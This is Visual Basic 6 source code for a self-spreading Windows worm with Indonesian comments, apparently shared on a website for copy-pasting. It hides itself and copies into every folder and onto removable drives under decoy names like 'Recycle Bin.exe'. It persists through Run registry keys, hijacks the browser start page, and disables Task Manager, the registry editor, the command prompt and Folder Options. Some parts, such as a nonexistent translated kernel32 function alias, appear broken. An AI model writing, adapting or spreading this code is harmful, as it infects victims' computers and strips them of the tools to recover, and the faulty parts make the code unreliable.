'show in taskbar di false
'paste di from
'-------- CODE ---------
Private Declare Function AmbilDirektoriWindow Lib "kernel32" Alias "AmbilDirektoriWindowA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sub Form_Load()
On Error Resume Next
Me.Visible = False
App.TaskVisible = False
Me.Hide
If App.PrevInstance = True Then
End
End If
Dim path As String, strSave As String
Dim SubKey, file As Object
Set SubKey = CreateObject("WScript.Shell")
Set file = CreateObject("Scripting.FileSystemObject")
strSave = String(200, Chr$(0))
path = Left$(strSave, AmbilDirektoriWindow(strSave, Len(strSave)))
FileCopy App.path + "\" + App.EXEName + ".exe", path + "\" + "window.exe"
SubKey.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & "gpmce", path & "\" & "Angel2" & ".exe"
SubKey.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "gpmce", path & "\" & "Angel2" & ".exe"
Direktori (path)
SemuaFolder
Infeksi
pen
End Sub
Private Sub Direktori(path As String)
On Error Resume Next
Dim Fso As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim drives As Object
Dim drive As Object
Set drives = Fso.drives
For Each drive In drives
Select Case drive.DriveType
Case 2
If drive.IsReady = True Then
If drive.AvailableSpace <> "" Then
Dim letter As String
If (StrComp(drive.DriveLetter, path, vbTextCompare)) Then
letter = drive.DriveLetter + ":\"
InfeksiFolder letter
End If
End If
End If
End Select
Next
End Sub
Function InfeksiFolder(Fold As String)
Dim Fso As Object, FolderS
Set Fso = CreateObject("Scripting.FileSystemObject")
For Each FolderS In Fso.GetFolder(Fold).subfolders
FileCopy App.path + "\" + App.EXEName + ".exe", FolderS.path + "\" + FolderS.Name + ".exe"
Call InfeksiFolder(FolderS.path)
Next FolderS
End Function
Private Sub SemuaFolder()
On Error Resume Next
Dim s1 As String
Dim wshShell:
Set wshShell = CreateObject("WScript.Shell")
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("MyDocuments") + "\" + "MyDocuments.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("Favorites") + "\" + "Fonts.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("Recent") + "\" + "Recycle Bin.exe"
FileCopy App.path + "\" + App.EXEName + ".exe", wshShell.SpecialFolders("startup") + "\" + "Angel2.exe"
InfeksiFolder wshShell.SpecialFolders("MyDocuments")
End Sub
Private Sub Infeksi()
On Error Resume Next
Dim Key As Object
Set Key = CreateObject("WScript.Shell")
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\start page", "www.gpmce.net"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\search page", "www.booble.com"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\explorer\NoFolderOptions", 1, "REG_DWORD"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LocalizedString", "@%SystemRoot%\system32\SHELL32.dll,-8964"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString", "@%SystemRoot%\system32\shell32.dll,-9216"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon\", "%SystemRoot%\System32\shell32.dll,31"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\empty", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon\full", "%SystemRoot%\Explorer.exe,0"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DisableThumbnailCache", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
Key.regwrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\disableCMD", 2, "REG_DWORD"
End Sub
Private Sub pen()
On Error Resume Next
Dim Fso As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Dim drives As Object
Dim drive As Object
Dim s As String
Set drives = Fso.drives
While 1
For Each drive In drives
Select Case drive.DriveType
Case 1
If (StrComp(drive.DriveLetter, "a", vbTextCompare)) Then
End If
If drive.IsReady = True Then
If drive.AvailableSpace <> "" Then
FileCopy App.path + "\" + App.EXEName + ".exe", drive.DriveLetter + ":\" + "Angel2.exe"
s = drive.DriveLetter + ":\"
InfeksiFolder s
End If
End If
End Select
Next
Wend
End Sub
Bagi yang ingin copy paste jangan lupa di sertai back link ke situs ini dan sumber.
